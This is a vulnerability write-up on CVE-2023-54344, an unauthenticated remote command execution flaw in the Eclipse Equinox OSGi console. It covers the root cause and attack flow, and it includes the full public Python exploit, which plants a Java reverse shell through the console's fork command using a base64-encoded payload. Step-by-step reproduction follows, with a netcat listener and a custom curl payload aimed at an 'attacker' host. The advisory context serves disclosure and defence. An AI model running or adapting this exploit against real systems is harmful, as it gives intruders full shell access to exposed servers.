Introduction
An unauthenticated management console on the network, with full command execution, is about as dangerous as it sounds. CVE-2023-54344 in Eclipse Equinox OSGi is exactly that. It carries a CVSS 3.1 score of 9.8, and public exploit code makes it trivial to run.
Eclipse Equinox is the reference implementation of the OSGi core framework specification. It is the modular runtime under the Eclipse IDE and a wide range of enterprise Java applications. Its plugin architecture shows up across industries, in products from development tools to embedded systems and IoT platforms. Any deployment that runs the Equinox console with network exposure is potentially affected.
Technical Information
The root cause is CWE-306: Missing Authentication for Critical Function. When Eclipse Equinox OSGi starts with the -console option, it exposes a management interface over Telnet or a raw TCP connection. By default that interface binds to all network interfaces (0.0.0.0) and accepts connections from any IP address. Nothing authenticates you before you can use the console.
The console gives you two command execution primitives that matter for exploitation:
- exec: Runs a process and waits for the result, but returns only the exit code, not standard output.
- fork: Runs a process without waiting for it to finish.
Since exec does not return stdout, attackers reach for fork for blind command injection. The console also has input restrictions. It cannot process single quotes, so attackers base64 encode their payloads to get around that.
Attack Flow
A typical exploitation sequence runs like this:
- The attacker finds an exposed OSGi console port (commonly port 1337) on the target.
- The attacker opens a raw TCP connection to the console port.
- The attacker builds a payload: a bash command is base64 encoded, then wrapped in a
forkdirective. The bash command writes a Java reverse shell source file to disk and runs it. - The payload goes over the TCP connection. The
forkcommand runs the decoded bash command on the target, with no authentication check. - The Java reverse shell connects back to the attacker's listener, giving full interactive shell access to the target.
The base64 step is what makes this work. It lets the attacker embed characters the console would otherwise reject or misread, including the single quotes the Java source code needs. The payload follows this pattern:
fork "bash -c {echo,<BASE64_ENCODED_PAYLOAD>}|{base64,-d}|{bash,-i}"
CVE-2023-54344 covers versions 3.7.2 and earlier, but researchers have shown that versions 3.8 through 3.18 are still open to similar multi-stage exploitation when the console is exposed without authentication. A separate exploit (EDB-ID 51878) targets those newer versions.
Proof of Concept
A working public exploit for CVE-2023-54344 exists, written by Andrzej Olchawa and Milenko Starcik of VisionSpace Technologies GmbH. It is published on Exploit-DB (EDB-ID: 51879, dated 2024-03-12) and hosted on GitHub with a Docker-based demonstration environment.
The script connects to the exposed OSGi console port, builds a Java reverse shell payload, base64 encodes it, and delivers it through the fork command:
#!/usr/bin/python # Exploit Title: [OSGi v3.7.2 Console RCE] # Date: [2023-07-28] # Exploit Author: [Andrzej Olchawa, Milenko Starcik, # VisionSpace Technologies GmbH] # Exploit Repository: # [https://github.com/visionspacetec/offsec-osgi-exploits.git] # Vendor Homepage: [https://eclipse.dev/equinox] # Software Link: [https://archive.eclipse.org/equinox/] # Version: [3.7.2 and before] # Tested on: [Linux kali 6.3.0-kali1-amd64] # License: [MIT] import argparse import base64 import socket def parse(): parser = argparse.ArgumentParser( prog="OSGi-3.7.2-console-RCE", description="This tool will let you open a reverse shell from the " "system that is running OSGi with the '-console' " "option in version 3.7.2 (or before).", epilog="Happy Hacking! :)", ) parser.add_argument("--rhost", dest="rhost", help="remote host", type=str, required=True) parser.add_argument("--rport", dest="rport", help="remote port", type=int, required=True) parser.add_argument("--lhost", dest="lhost", help="local host", type=str, required=False) parser.add_argument("--lport", dest="lport", help="local port", type=int, required=False) parser.add_argument("--payload", dest="custom_payload", help="custom payload", type=str, required=False) parser.add_argument("--version", action="version", version="%(prog)s 0.1.0") args = parser.parse_args() if args.custom_payload and (args.lhost or args.lport): parser.error("either --payload or both --lport and --rport are required.") return args def generate_payload(lhost, lport, custom_payload): payload = "" if custom_payload: payload = custom_payload elif lhost and lport: payload = ( "echo 'import java.io.IOException;import java.io.InputStream;" "import java.io.OutputStream;import java.net.Socket;class Rev" "Shell {public static void main(String[] args) throws Excepti" "on { String host=\"%s\";int port=%s;String cmd=\"sh\";Proces" "s p=new ProcessBuilder(cmd).redirectErrorStream(true).start(" ");Socket s=new Socket(host,port);InputStream pi=p.getInputSt" "ream(),pe=p.getErrorStream(), si=s.getInputStream();OutputSt" "ream po=p.getOutputStream(), so=s.getOutputStream();while(!s" ".isClosed()){while(pi.available()>0)so.write(pi.read());whil" "e(pe.available()>0)so.write(pe.read());while(si.available()>" "0)po.write(si.read());so.flush();po.flush();Thread.sleep(50)" ";try {p.exitValue();break;}catch (Exception e){}};p.destroy(" ");s.close();}}' > RevShell.java ; java ./RevShell.java" % ( lhost, lport)) bash_payload = b"bash -c {echo,%s}|{base64,-d}|{bash,-i}" % ( base64.b64encode(payload.encode())) wrapped_payload = b"fork \"%s\"\n" % (bash_payload) return wrapped_payload def deliver_payload(rhost, rport, payload): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((rhost, rport)) sock.send(payload) sock.close() except socket.error as err: print(f"(-) Could not deliver the payload to {rhost}:{rport}!") return False return True def main(args): payload = generate_payload(args.lhost, args.lport, args.custom_payload) success = deliver_payload(args.rhost, args.rport, payload) if success: print("(+) Done.") else: print("(-) Finished with errors.") if __name__ == "__main__": main(parse())
Reproduction Steps
- Download OSGi 3.7.2 from the Eclipse archive and set up the Docker environment:
mkdir -p ./resources/jarfiles docker build -t osgi_v3.7.2 . docker run --network="host" -it --rm osgi_v3.7.2
- Start a netcat listener on the attacker machine:
nc -nvlp 4444
- Run the exploit to get a reverse shell:
python exploit.py --rhost=localhost --rport=1337 --lhost=localhost --lport=4444
The exploit also takes custom command payloads through the --payload flag (for example, --payload="curl http://attacker/test"), which is handy for cases beyond reverse shells.
Affected Systems and Versions
These versions and configurations are affected:
| OSGi Version Range | Exploit Availability | Default Authentication |
|---|---|---|
| 3.7.2 and earlier | ExploitDB 51879 | None |
| 3.8 through 3.18 | ExploitDB 51878 | None |
The vulnerability is exploitable when the Equinox runtime starts with the -console option and the console port is reachable over the network. Systems where the console binds only to localhost, or where firewall rules limit access to trusted addresses, are not directly exploitable through this vector.
References
- NVD: CVE-2023-54344
- CVE Record: CVE-2023-54344
- VulnCheck Advisory: Eclipse Equinox OSGi Remote Code Execution via Console
- Exploit-DB: OSGi v3.7.2 Console RCE (EDB-ID 51879)
- Exploit-DB: OSGi v3.8-3.18 Console RCE (EDB-ID 51878)
- GitHub: VisionSpace OSGi Exploits (v3.1.1-3.7.2)
- VisionSpace: Exploitation of the OSGi Console
- Rapid7 Vulnerability Database: OSGi Console Exec Module
- Eclipse Equinox Console Shell Documentation
- Eclipse Known Vulnerabilities



